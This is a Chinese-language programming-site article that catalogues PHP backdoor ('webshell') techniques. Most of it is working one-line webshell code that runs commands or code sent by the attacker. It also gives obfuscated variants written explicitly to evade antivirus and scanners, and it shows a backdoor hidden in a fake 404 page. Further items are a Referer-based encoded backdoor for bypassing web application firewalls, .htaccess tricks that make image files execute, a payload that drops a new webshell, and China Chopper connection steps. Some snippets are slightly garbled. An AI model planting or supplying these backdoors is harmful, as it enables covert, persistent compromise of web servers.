程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 一些常用的php後門木馬詳解

一些常用的php後門木馬詳解

編輯:關於PHP編程

說起php後門木馬我就心有愉季啊,前不久一個站就因不小心給人注入了,然後寫入了小木馬,這樣結果大家知道的我就不說了,下面我來給大家收集了各種php後門木馬做法,大家可參考。

php後門木馬對大家來說一點都不陌生吧,但是它的種類您又知多少呢?
本文為您淺析說明一些php後門木馬常用的函數。

php後門木馬常用的函數大致上可分為四種類型:

1. 執行系統命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代碼執行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 執行系統命令:

system 函數

//test.php?cmd=ls
system($_GET[cmd]);

passthru 函數

//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函數

//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函數

//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函數

//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函數

//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));
print_r($output);

2. 代碼執行與加密:

eval 函數

//最常見的一句話木馬
eval_r($_POST[cmd]);

base64_decode 函數

//為了免殺及隱藏而加密代碼
//密文: eval_r($_POST['cmd']);
eval_r(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函數

//為了免殺及隱藏而加密代碼
//密文: eval_r($_POST['cmd']);
eval_r(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函數

//為了免殺及隱藏而加密代碼
//密文: eval_r($_POST['cmd']);
eval_r(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函數

//為了免殺及隱藏而加密代碼
//密文: eval_r($_POST['cmd']);
eval_r(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函數

//為了免殺及隱藏而加密代碼
//密文: eval_r($_POST[cmd]);
eval_r(str_rot13('riny($_CBFG[pzq]);'));

assert 函數

//類似eval函數
assert($_POST[cmd]);

call_user_func 函數

//使用call_user_func調用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函數

//使用call_user_func調用任意函數
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);

組合代碼

//組合方式調用任意函數
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);

3. 文件包含與生成:

require 函數

//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函數

//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函數

//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函數

//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函數

//讀取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函數

//生成任意內容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);

fputs 函數

//生成任意內容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可將php代碼存於非php後綴文件,例: x.jpg
//將以下代碼寫入.htaccess中
//連接x.jpg即可啟動後門木馬

SetHandler application/x-httpd-php

auto_prepend_file

//可將php代碼存於非php後綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網站上任何php文件都會啟動該php後門木馬
//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬
php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//類似auto_prepend_file
//可將php代碼存於非php後綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網站上任何php文件都會啟動該php後門木馬
php_value auto_append_file c:/apache2/htdocs/123.gif


利用404頁面隱藏PHP小馬

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404頁面是網站常用的文件,一般建議好後很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏後門。

無特征隱藏PHP一句話

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');
將$_POST['code']的內容賦值給$_SESSION['theCode'],然後執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。

超級隱蔽的PHP後門

<?php $_GET[a]($_GET[b]);?>
僅用GET函數就構成了木馬;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執行後當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。

層級請求,編碼運行PHP後門
此方法用兩個文件實現,文件1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要執行的代碼
$code = <<<CODE
phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//後門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通過HTTP請求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到後門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。

PHP後門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個類似於telnet的連接shell,weevely通常用於web程序的漏洞利用,隱藏後門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼後通常可以通過weevely直接運行。

weevely所生成的PHP後門所使用的方法是現在比較主流的base64加密結合字符串變形技術,後門中所使用的函數均是常用的字符串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使後門文件繞過後門查找工具的檢查。使用暗組的Web後門查殺工具進行掃描,結果顯示該文件無任何威脅。

以上是大概介紹下邊是截圖,相關使用方法亦家就不在這介紹了,簡單的科普一下。

 

三個變形的一句話PHP木馬
第一個

<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀裡寫http://site/1.php?2=assert密碼是1

第二個

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀裡寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。
如果你用菜刀的附加數據的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。

第三個

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13('riny')即編碼後的eval,完全避開了關鍵字,又不失效果,讓人吐血!

.htaccess做PHP後門
這個其實在2007年的時候作者GaRY就爆出了,只是後邊沒人關注,這個利用關鍵點在於一句話:

AddType application/x-httpd-php .htaccess
###### SHELL ###### 這裡寫上你的後門吧###### LLEHS ######
最後列幾個高級的PHP一句話木馬後門

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
2、
$filename=$_GET['xbid'];
include ($filename);
//危險的include函數,直接編譯任何文件為php格式運行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
5、include ($uid);
//危險的include函數,直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句話
6、典型一句話
程序後門代碼
<?php eval_r($_POST[sb])?>
程序代碼
<?php @eval_r($_POST[sb])?>
//容錯代碼
程序代碼
<?php assert($_POST[sb]);?>
//使用lanker一句話客戶端的專家模式執行相關的php語句
程序代碼
<?$_POST['sa']($_POST['sb']);?>
程序代碼
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代碼
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用這個後,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
程序代碼
<O>h=@eval_r($_POST[c]);</O>
程序代碼
<script language="php">@eval_r($_POST[sb])</script>
//繞過<?限制的一句話
綜上,這些PHP一句話後門可謂五髒俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點就在下邊的總結!

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved